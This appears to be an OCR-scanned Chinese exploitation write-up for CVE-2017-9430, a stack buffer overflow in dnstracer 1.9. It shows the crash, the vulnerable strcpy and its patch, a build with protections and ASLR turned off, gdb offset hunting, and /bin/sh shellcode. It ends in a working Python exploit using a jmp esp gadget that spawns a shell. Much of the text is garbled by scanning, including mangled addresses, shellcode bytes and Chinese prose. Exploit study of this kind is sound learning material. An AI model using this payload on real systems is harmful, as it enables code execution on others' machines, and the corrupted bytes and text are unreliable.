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gk 2% DNSTracer:

$ wget http://www.mavetju.org/download/dnstracer-1.9.tar.gz
$ tar zxvf dnstracer-1.9.tar.gz

$ cd dnstracer-1.9

$ ./confugure

$ make && sudo make install
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$ dnstracer -v $(python -c 'print "A"*1025')

*** buffer overflow detected ***: dnstracer terminated

======= Backtrace: =========
/1ib/i386-1inux-gnu/libc.so.6(+0x67377)[0xb757f377]
/1ib/i386-1inux-gnu/libc.so.6(__fortify_fail+0x68)[0xb760f6b8]
/1ib/i386-1inux-gnu/libc.so.6(+0xf58a8) [0xb760d8a8]
/1ib/i386-1inux-gnu/libc.so.6(+0xf4e9f)[0xb760ce9f]
dnstracer[0x8048126]
/1ib/i386-1inux-gnu/libc.so.6(__libc_start_main+@xf7)[0xb7530637]
dnstracer[0x804920a]

08048000-0804€000 r-xp 00000000 08:01 270483 /usr/local/bin/dnstracer
08041000-08050000 r--p 00006000 ©8:01 270483 /usr/local/bin/dnstracer
08050000-08051000 rw-p 00007000 0©8:01 270483 /usr/local/bin/dnstracer
08051000-08053000 rw-p 00000000 00:00 0O

084b6000-084d7000 rw-p 00000000 00:00 O [heap]



b74e4000-b7500000 r-xp 00000000 ©8:01 394789 /1ib/i386-1linux-
gnu/libgcc_s.so.1

b7500000-b7501000 rw-p ©001bo0O 08:01 394789 /1ib/i386-1linux-
gnu/libgcc_s.so.1

b7518000-b76c8000 r-xp 00000000 08:01 394751 /1ib/i386-1inux-gnu/libc-2.23.s0
b76c8000-b76ca000 r--p 001afo00 08:01 394751 /1ib/i386-1inux-gnu/libc-2.23.s0
b76ca000-b76cbo00 rw-p 001b1000 08:01 394751 /1ib/i386-1inux-gnu/libc-2.23.s0
b76cb000-b76ce000 rw-p 00000000 00:00 O

b76e4000-b76e7000 rw-p 00000000 00:00 O

b76e7000-b76e9000 r--p 00000000 00:00 O [vvar]

b76e9000-b76eb000 r-xp 00000000 00:00 © [vdso]

b76eb000-b770d000 r-xp 00000000 ©8:01 394723 /1ib/i386-1inux-gnu/1ld-2.23.s0
b770d000-b770€000 rw-p 00000000 00:00 ©

b770e000-b7701000 r--p 00022000 08:01 394723 /1ib/i386-1inux-gnu/1d-2.23.s0
b770f000-b7710000 rw-p 00023000 08:01 394723 /1ib/i386-1inux-gnu/1d-2.23.s0
bf8e5000-bf907000 rw-p 00000000 00:00 O [stack]

Aborted (core dumped)
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// dnstracer.c
int

main(int argc, char **argv)

{
[...]
char argvo[NS_MAXDNAME ] ;
[...]

strcpy(argve, argv[9]);
// dnstracer_broker.h
#ifndef NS_MAXDNAME
#define NS_MAXDNAME 1024
#endif

T
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/*CVE-2017-9430 Fix*/
if(strlen(argv[@]) >= NS_MAXDNAME)
{

free(server_ip);

free(server_name);



fprintf(stderr, "dnstracer: argument is too long %s\n", argv[@]);

return 1;

// check for a trailing dot

strcpy(argve, argv[0]);

0x03 Exploit

B Makefile, XA ARARY, [FIW @ % gee (%4 M __strepy_chk() &
e strepy(), BOUGmBEETAT

$ cat Makefile | grep -w CC
CC = gcc -fno-stack-protector -z execstack -D_FORTIFY_SOURCE=0
COMPILE = $(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(AM_CPPFLAGS) \

CCLD = $(CC)

$ make && sudo make install

gdb-peda$ checksec

CANARY : disabled
FORTIFY : disabled
NX : disabled
PIE : disabled
RELRO ¢ Partial

i ke ASLR:

# echo @ > /proc/sys/kernel/randomize_va_space

PRI AZEAE main eRECT, HER A B GRS AE 7 BR B 25 20— 2 R AR AR AN T
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7£ gdb BT, FIH pattern e HAE, 1060 Tt L0 1 -

gdb-peda$ pattern_create 1060

gdb-peda$ pattern_offset $ebp

1849771630 found at offset: 1049

PrLLIR (R AEA T M (i Fe 1049+4=1053 3BT

gdb-peda$ disassemble main

0x08048df8 <+808>:
0x08048dfc <+812>:
0x08048dff <+815>:
0x08048e04 <+820>:
0x08048e06 <+822>:

mov
mov
call
xor

mov

DWORD PTR [esp+0x4],edi
DWORD PTR [esp],ebx
0x8048950 <strcpy@plt>
eax, eax

ecx,esi



0x08048f6e <+1182>: mov DWORD PTR [esp+0x4],esi
0x08048f72 <+1186>: call ©ox804adb@ <create_session>
0x08048f77 <+1191>: mov DWORD PTR [esp],0@xa

FE NI LA T W, FFARYE RS BT -

gdb-peda$ b *main+815
gdb-peda$ b *main+820
gdb-peda$ b *main+1186
gdb-peda$ r “perl -e 'print "A"x1053 . "BBBB"'"

EAX: 0Ox1

EBX: Oxbfffeb3f --> @xffed9cb7

ECX: 0x0

EDX: Oxb7fc7180 --> 0x0

ESI: oOxffffffff

EDI: Oxbffff174 ('A' <repeats 200 times>...)

EBP: Oxbfffef58 --> 0x0

ESP: Oxbfffe6do --> Oxbfffeb3f --> Oxffed9cb7

EIP: 0x8048dff (<main+815>: call ©0x8048950 <strcpy@plt>)

EFLAGS: 0x286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow)

0x8048df1l <main+801>: lea ebx, [esp+0x46f]
0x8048df8 <main+808>: mov DWORD PTR [esp+0x4],edi
0x8048dfc <main+812>: mov DWORD PTR [esp],ebx

=> 0x8048dff <main+815>: call 0x8048950 <strcpy@plt>
0x8048e04 <main+820>: xor eax,eax
0x8048e06 <main+822>: mov ecx,esi
0x8048e08 <main+824>: repnz scas al,BYTE PTR es:[edi]
0x8048e0a <main+826>: not ecx

Guessed arguments:

arg[0]: oxbfffeb3f --> @xffed9cb7

arg[1]: oxbffffli74 ('A' <repeats 200 times>...)

0000| oxbfffe6do --> Oxbfffeb3f --> @xffed9cb7

0004 | oxbfffe6d4 --> @xbffffl74 ('A' <repeats 200 times>...)
0008| Oxbfffe6d8 --> Ox804be37 ("4cCoq:r:S:s:t:v")

0012| oxbfffe6dc --> 0x0

0016| Oxbfffe6ed --> 0x0

0020| oxbfffe6ed --> 0x0

0024 | oxbfffe6e8 --> 0x0



0028| @xbfffe6ec --> Ox0

Legend: code, data, rodata, value

Breakpoint 1, 0x08048dff in main (argc=<optimized out>, argv=<optimized out>) at
dnstracer.c:1622
1622 strcpy(argve, argv[0]);

gdb-peda$ x/10wx argve

oxbfffeb3f: oxffed9cb7 0x000000bf 0x00000100
0x00000200

oxbfffebsf: 0xe33b9700 oxfdcaceb? 0x000000b7
oxffeff400

Oxbfffeb5f: Oxe24e08b7 0x000001b7

Fr LR A7 T exbfffeb3f, FATIX —ATACILENADE;: exbffffi74a AbMF) "A" FRFEH EHIF] argve
B A

gdb-peda$ ¢

Continuing.

IR R L L EL L L L L FEPlSEEFSereocecoscoscacsocossnscocoocanas
-]

EAX: Oxbfffeébf ('A' <repeats 200 times>...)

EBX: Oxbfffeébf ('A' <repeats 200 times>...)

ECX: oxbffffide ("BBBB")

EDX: Oxbfffeadc ("BBBB")

ESI: ox0

EDI: Oxbfffedb3 ('A' <repeats 200 times>...)

EBP: oxbfffeads (“AAAABBBB")

ESP: Oxbfffe290 --> oxbfffe6bf ('A' <repeats 200 times>...)

EIP: ox8048dba (<main+794>: mov ecx,DWORD PTR [ebp-0x82c])

EFLAGS: 0x202 (carry parity adjust zero sign trap INTERRUPT direction overflow)

I e L (oo [ R e T T T
-]

0x8048db3 <main+787>: push edi

0x8048db4 <main+788>: push  ebx

0x8048db5 <main+789>: call ©x8048920 <strcpy@plt>
=> 0x8048dba <main+794>: mov ecx,DWORD PTR [ebp-0x82c]

0x8048dc@ <main+800>: xor eax, eax

0x8048dc2 <main+802>: add esp,0x10

0x8048dc5 <main+805>: repnz scas al,BYTE PTR es:[edi]

0x8048dc7 <main+807>: not ecx
e e e stack----------ccm e
-]

0000 | Oxbfffe290 --> @xbfffe6bf ('A' <repeats 200 times>...)



0004 | oxbfffe294 --> oxbfffedb3 ('A' <repeats 200 times>...)
0008 | oxbfffe298 --> Oxffffffff

0012| oxbfffe29c --> Oxffffffff

0016| @xbfffe2ad --> 0x0

0020| @xbfffe2asd --> 0x0

0024| oxbfffe2a8 --> 0x8051018 ("127.0.1.1")

0028| oxbfffe2ac --> Oxffffffff

Legend: code, data, rodata, value

Breakpoint 2, main (argc=<optimized out>, argv=<optimized out>) at

dnstracer.c:1623

1623 if (argv@[strlen(argv[@]) - 1] == '.') argve[strlen(argv[@]) - 1] =

0;

gdb-peda$ x/10wx argve

Oxbfffeb3f: 0x41414141 0x41414141 0x41414141
0x41414141

oxbfffebsf: 0x41414141 0x41414141 0x41414141
0x41414141

Oxbfffeb5f: 0x41414141 0x41414141

gdb-peda$ x/5wx argvo+1053-0x10

oxbfffefdc: 0x41414141 0x41414141 0x41414141
0x41414141

oxbfffef5c: 0x42424242

[FIZfFH "BBBB" i /iR [FIHhE. A CAFRAT AL exbfrffeb3f #ffifi "BBBB":

gdb-peda$ r “perl -e 'print "A"x1053 . "\x3f\xeb\xff\xbf"'"
gdb-peda$ x/5wx argvo+1053-0x10

oxbfffefac: 0x41414141 0x41414141 0x41414141
0x41414141 <-- ebp
oxbfffefsc: oxbfffeb3f <-- return address

SRR LATERR AR E shellcode T, iX—FBt shellcode KFEk 23 %77, AiH{EH nop
e A

gdb-peda$ P “perl -e "print "\x90"x1030
"\x31\xcO\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xel\x
bo\xeb\xcd\x80" . "\x3f\xeb\xff\xbf""'"
gdb-peda$ x/7wx argve+1053-23
Oxbfffef4s: 0x6850c031 ox68732f2f 0x69622168

0x50e3896e <-- shellcode
Oxbfffef55: 0xboe18953 0x3f80cdeob ox0obfffeb



AR5, shellcode fi7T exbfffefas.
SR G TRATPAT XN FE P, RAE T H R

gdb-peda$ c
127.0.0.1 (127.0.0.1) * * *

Program received signal SIGSEGV, Segmentation fault.

. 0x0

¢ Oxbfffef54
: OXFFFfffff
: Oxb7fc88b8
. 0xe3896e69
: 0xel895350
: 0x80cdebbe
! Oxbfffefs4
: Oxbfffef55

EFLAGS: 0x10246

oxbfffefad:
oxbfffef52:
oxbfffef54:
oxbfffef55:
oxbfffef58:
oxbfffef59:
oxbfffef5a:
oxbfffef5c:

oxbfffef58
oxbfffef5c
oxbfffef60
oxbfffef64
oxbfffef68
oxbfffefé6c
oxbfffef70

("/bin//sh™)

--> 0x0

("/bin//sh™)
("bin//sh™)
(carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)

push  ©x6e69622f

mov ebx,esp

das

bound ebp,QWORD PTR [ecx+0x6e]
das

das

jae oxbfffefcs

add BYTE PTR [eax],al

oxbfffef54 ("/bin//sh™)

("//sh™)

ox0

0x0

oxbfffeffd --> oxbffffi5b ("/usr/local/bin/dnstracer™)
Oxbffffee0 --> Bxbffff596 ("SSH_AGENT_PID=1407")
0xb7fdc858 --> Oxb7e21000 --> Ox464c457f

0x0

Legend: code, data, rodata, value
Stopped reason: SIGSEGV
oxbfffef55 in ?? ()



R RAAE oxbfffefss, I shellcode 7T exbfffefas, WEAMZE 16 Fii:

gdb-peda$ x/8wx Oxbfffef4s

Oxbfffef4s: 0x6850c031 ox68732f2f 0x69622168
ox2fe3896e

Oxbfffef55: 0x216e6962 0x0068732f 0x00000000
0x4000000

T LA BLR Y B AR RN AT I 16 D nop, KN shellcode J51f .

gdb-peda$ P “perl -e "print "\x90"x1014
"\x31\xcO\x50\x68\x2f\x2F\x73\x68\x68\x2F\x62\x69\x6e\x89\xe3\x50\x53\x89\xel\x
bo\x0b\xcd\x80" . "\x90"x16 . "\x3f\xeb\xff\xbf"'"

I3RS shell.

gdb-peda$ c

127.0.0.1 (127.0.0.1) * * *

process 7161 is executing new program: /bin/dash

$ id

[New process 7165]

process 7165 is executing new program: /usr/bin/id

uid=1000(firmy) gid=1000(firmy)
groups=1000(firmy),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),109(1lpadmin),1
24 (sambashare)

$ [Inferior 2 (process 7165) exited normally]

Warning: not running or target is remote

UWERBADTR T ASLR EAIple, —MHE KT ZZMATES jnp esp ik [FI3hE,
RO AERE FPAEIR Bl ik (3 07 R SR 30AT, A TTIRAT BRAE S T - shellcode. #/H objdump
IR E2bee SiDE R

$ objdump -M intel -D /usr/local/bin/dnstracer | grep jmp | grep esp
804cc5f: ff e4 jmp esp

exp wik:

import os

from subprocess import call

def exp():
filling = "A"*1053
jmp_esp = "\x5f\xcc\x04\x08"
shellcode =

"\x31\xcO\x50\x68\x2f\x2F\x73\x68\x68\x2F\x62\x69\x6e\x89\xe3\x50\x53\x89\xel\x
bo\x0b\xcd\x80"



payload = filling + jmp_esp + shellcode
call(["dnstracer", payload])
if __name__ == '__main__"':
try:
exp()
except Exception as e:

print "Something went wrong"
Bingo!!!

$ python exp.py

Tracing to
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAA @1€Ph//shh/bin@@PS& &

[a] via
127.0.0.1, maximum of 3 retries
127.0.0.1 (127.0.0.1) * * *
$ id
uid=1000(firmy) gid=1000(firmy)

groups=1000(firmy),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),109(1lpadmin),1

24(sambashare)

0x04 ZE ¥Rl

http://www.mavetju.org/unix/dnstracer.php
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-9430
https://www.exploit-db.com/exploits/42424/
https://www.exploit-db.com/exploits/42115/



